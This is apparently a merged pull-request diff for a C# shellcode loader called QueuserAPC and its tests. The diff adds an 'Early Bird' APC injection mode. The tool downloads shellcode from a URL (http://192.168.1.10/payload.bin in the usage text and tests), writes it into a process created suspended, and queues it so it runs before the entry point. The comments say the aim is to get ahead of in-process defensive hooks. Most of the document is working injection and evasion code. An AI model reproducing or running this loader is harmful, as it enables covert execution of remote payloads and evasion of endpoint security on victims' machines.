Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
33 changes: 33 additions & 0 deletions QueuserAPC.Tests/ProgramTests.cs
Original file line number Diff line number Diff line change
Expand Up @@ -66,4 +66,37 @@ public void ParseUseNt_FlagCaseInsensitive_ReturnsTrue()
{
Assert.True(Program.ParseUseNt(["--NT", "http://192.168.1.10/payload.bin"]));
}

// --- ParseUseEarlyBird ---

[Fact]
public void ParseUseEarlyBird_NoFlag_ReturnsFalse()
{
Assert.False(Program.ParseUseEarlyBird(["http://192.168.1.10/payload.bin"]));
}

[Fact]
public void ParseUseEarlyBird_WithFlag_ReturnsTrue()
{
Assert.True(Program.ParseUseEarlyBird(["--early-bird", "http://192.168.1.10/payload.bin"]));
}

[Fact]
public void ParseUseEarlyBird_FlagCaseInsensitive_ReturnsTrue()
{
Assert.True(Program.ParseUseEarlyBird(["--EARLY-BIRD", "http://192.168.1.10/payload.bin"]));
}

[Fact]
public void ParseUrl_EarlyBirdFlagSkipped_ReturnsUrl()
{
const string url = "http://192.168.1.10/payload.bin";
Assert.Equal(url, Program.ParseUrl(["--early-bird", url]));
}

[Fact]
public void ParseUseNt_NotSetWhenEarlyBirdPresent()
{
Assert.False(Program.ParseUseNt(["--early-bird", "http://192.168.1.10/payload.bin"]));
}
}
41 changes: 38 additions & 3 deletions QueuserAPC/Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@ internal static string ParseUrl(string[] args)
if (args.Length < 1)
throw new ArgumentException("Shellcode URL is required.");

// Skip --nt flag when looking for the URL
// Skip --nt / --early-bird flags when looking for the URL
var url = Array.Find(args, a => !a.StartsWith("--"))
?? throw new ArgumentException("Shellcode URL is required.");

Expand All @@ -31,24 +31,41 @@ internal static string ParseUrl(string[] args)
internal static bool ParseUseNt(string[] args) =>
Array.Exists(args, a => a.Equals("--nt", StringComparison.OrdinalIgnoreCase));

/// <summary>
/// Returns true when the <c>--early-bird</c> flag is present, selecting the
/// Early Bird APC technique: shellcode is queued via <see cref="Win32.QueueUserAPC"/>
/// into a process created with <c>CREATE_SUSPENDED</c> before its primary thread has
/// executed any user-mode code. Because a newly created suspended thread begins in an
/// alertable state, the APC fires immediately on <see cref="Win32.ResumeThread"/>,
/// before the process entry point runs.
/// </summary>
internal static bool ParseUseEarlyBird(string[] args) =>
Array.Exists(args, a => a.Equals("--early-bird", StringComparison.OrdinalIgnoreCase));

static async Task Main(string[] args)
{
string shellcodeUrl;
bool useNt;
bool useEarlyBird;
try
{
shellcodeUrl = ParseUrl(args);
useNt = ParseUseNt(args);
useEarlyBird = ParseUseEarlyBird(args);
}
catch (ArgumentException ex)
{
Console.Error.WriteLine($"Error: {ex.Message}");
Console.Error.WriteLine("Usage: QueuserAPC [--nt] <shellcode-url>");
Console.Error.WriteLine("Usage: QueuserAPC [--nt | --early-bird] <shellcode-url>");
Console.Error.WriteLine(" e.g. QueuserAPC https://192.168.1.10/payload.bin");
Console.Error.WriteLine(" QueuserAPC --nt https://192.168.1.10/payload.bin");
Console.Error.WriteLine(" QueuserAPC --early-bird https://192.168.1.10/payload.bin");
Console.Error.WriteLine();
Console.Error.WriteLine("Flags:");
Console.Error.WriteLine(" --nt Use NtQueueApcThread (ntdll) instead of QueueUserAPC (kernel32)");
Console.Error.WriteLine(" --nt Use NtQueueApcThread (ntdll) instead of QueueUserAPC (kernel32)");
Console.Error.WriteLine(" --early-bird Early Bird APC: queue shellcode into a CREATE_SUSPENDED process");
Console.Error.WriteLine(" before its primary thread executes any user-mode code.");
Console.Error.WriteLine(" The APC fires on ResumeThread, ahead of the entry point.");
Environment.Exit(1);
return;
}
Expand Down Expand Up @@ -115,9 +132,27 @@ static async Task Main(string[] args)
out _);

if (useNt)
{
// NtQueueApcThread (ntdll) — does not require the target thread to be in an
// alertable wait state; useful against running threads that may never enter one.
Win32.NtQueueApcThread(pi.hThread, baseAddress, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
}
else if (useEarlyBird)
{
// Early Bird APC — process was created with CREATE_SUSPENDED so the primary
// thread has not yet executed any user-mode code. A newly created suspended
// thread begins in an alertable state, so QueueUserAPC fires immediately when
// ResumeThread is called, before the process entry point runs. This gives the
// shellcode a head start over any in-process defensive hooks loaded via the
// normal DLL initialisation sequence.
Win32.QueueUserAPC(baseAddress, pi.hThread, 0);
}
else
{
// Standard QueueUserAPC (kernel32) — queues an APC to the target thread.
// Requires the thread to enter an alertable wait (e.g. SleepEx, WaitForSingleObjectEx).
Win32.QueueUserAPC(baseAddress, pi.hThread, 0);
}

Win32.ResumeThread(pi.hThread);
}
Expand Down
Loading